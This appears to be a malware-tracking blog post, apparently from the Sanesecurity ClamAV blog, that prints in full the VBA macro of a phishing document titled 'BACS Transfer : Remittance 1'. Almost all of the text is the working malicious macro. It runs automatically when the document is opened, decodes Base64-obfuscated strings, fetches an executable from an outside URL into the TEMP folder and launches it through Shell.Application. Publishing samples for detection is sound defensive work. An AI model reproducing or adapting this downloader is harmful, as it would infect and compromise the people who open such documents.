BACS Transfer : Remittance 1

http://sanesecurity.blogspot.co.uk/
Sanesecurity ClamAV blog: zero hour malware, phishing and scams
A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const DYAVRU2O7CQK = "XGlIR2RzZi5leGU="
Private Const u4UPbupdHqn = "VEVNUA=="
Private Const JGYEERm = "aHR0cDovL3N0eWxpc2hzZXljaGVsbGVzLmNvbS9qcy9iaW4uZXhl"
Private Const WbqiAH = DYAVRU2O7CQK
Private Const aXpVWjFOR = u4UPbupdHqn
Private Const UUMbhwG = "U2hlbGwuQXBwbGljYXRpb24="
Private Const s1tNlT1AWf = ""
Private Const FTKZS = "R0VU"
Private Const jSr7Aw = "TVNYTUwyLlhNTEhUVFA="
Private Const LZKV = ""
Private Const JLR = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

Sub iwpHOuE6r()
 nJFIm
End Sub
Sub eODC7ApCVQ()
     iwpHOuE6r
End Sub
Sub autoopen()
     iwpHOuE6r
End Sub
Function JyXsorj(ByVal sdfwefwef As String, ByVal pNJKBjkdsf As String) As Boolean
    Dim hUIGGYdfg As Object, i As Long, GYUbjsdf As Long, hjjjjjb() As Byte


    Set hUIGGYdfg = CreateObject(NsCj(jSr7Aw))
    hUIGGYdfg.Open NsCj(FTKZS), sdfwefwef, False
    hUIGGYdfg.Send

hjjjjjb = hUIGGYdfg.responseBody

    GYUbjsdf = FreeFile
    Open pNJKBjkdsf For Binary Access Write As #GYUbjsdf
    Put #GYUbjsdf, , hjjjjjb
    Close #GYUbjsdf

    Set hUIGGYdfg = Nothing

Set sdfsdfsd = CreateObject(NsCj(UUMbhwG))
sdfsdfsd.Open Environ(NsCj(aXpVWjFOR)) & NsCj(WbqiAH)
    End Function
Sub nJFIm()
FFewr43 = NsCj(JGYEERm)
     JyXsorj FFewr43, Environ(NsCj(aXpVWjFOR)) & NsCj(WbqiAH)

End Sub
Public Function NsCj(strInput As String) As String

On Error Resume Next
On Local Error Resume Next
Dim arrChars64() As Byte
Dim arrChars64Rev() As Byte
Dim arrInput() As Byte
Dim arrOutput() As Byte
Dim arrChar(4) As Integer
Dim intLen As Long
Dim intDelta As Long
Dim i As Long
Dim j As Long
Const Base64 = JLR
arrChars64() = StrConv(Base64, vbFromUnicode)
ReDim arrChars64Rev(255)
For i = 0 To UBound(arrChars64)
arrChars64Rev(arrChars64(i)) = i
Next i
intLen = Len(strInput)
If intLen = 0 Then Exit Function
intDelta = intLen Mod 4
If intDelta > 0 Then
strInput = strInput + String$(4 - intDelta, 0)
intLen = Len(strInput)
End If
arrInput() = StrConv(strInput, vbFromUnicode)
ReDim arrOutput(((intLen + 1) / 4) * 3)
For i = 0 To UBound(arrInput) Step 4
arrChar(1) = arrChars64Rev(arrInput(i))
arrChar(2) = arrChars64Rev(arrInput(i + 1))
arrChar(3) = arrChars64Rev(arrInput(i + 2))
arrChar(4) = arrChars64Rev(arrInput(i + 3))
arrOutput(j) = ((arrChar(1) * 4 + Int(arrChar(2) / 16)) And 255)
j = j + 1
arrOutput(j) = ((arrChar(2) * 16 + Int(arrChar(3) / 4)) And 255)
j = j + 1
arrOutput(j) = ((arrChar(3) * 64 + arrChar(4)) And 255)
j = j + 1
Next
 NsCj = Replace(StrConv(arrOutput, vbUnicode), vbNullChar, "")
End Function